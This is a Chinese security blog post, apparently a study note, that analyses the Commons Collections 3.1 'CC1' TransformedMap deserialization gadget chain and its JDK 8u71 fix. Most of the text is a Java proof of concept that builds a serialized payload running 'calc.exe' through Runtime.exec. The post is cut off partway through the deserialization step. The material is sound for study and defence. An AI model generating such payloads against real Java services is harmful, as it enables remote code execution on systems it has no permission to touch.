[Java安全]CommonCollections1_TransformedMap链

最新推荐文章于 2025-03-16 21:39:48 发布

原创

最新推荐文章于 2025-03-16 21:39:48 发布 · 762 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#php #安全 #web安全

该博客详细分析了Apache Commons Collections库中的TransformedMap和ChainedTransformer组件如何被滥用执行远程代码。通过构建一系列的InvokerTransformer，利用反射调用Runtime类的方法，最终达到执行命令的目的。在Java 7中，由于AnnotationInvocationHandler的readObject方法，可以触发此漏洞。然而，从Java 8u71开始，这一漏洞被修复，不再直接使用反序列化的Map，导致RCE难以触发。文章还探讨了漏洞利用的条件和限制。

CommonCollections1_TransformedMap

本机环境：

JDK版本：jdk1.7u_51

CC版本：Commons-Collections 3.1

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
   
   
    public static void main(String[] args) throws Exception {
   
   
        Transformer[] transformers = new Transformer[] {
   
   
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
   
   String.class, Class[].class }, new Object[] {
   
   "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
   
   Object.class, Object[].class }, new Object[] {
   
   null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {
   
   String.class }, new Object[] {
   
   "calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, outerMap);

        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(instance);

        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi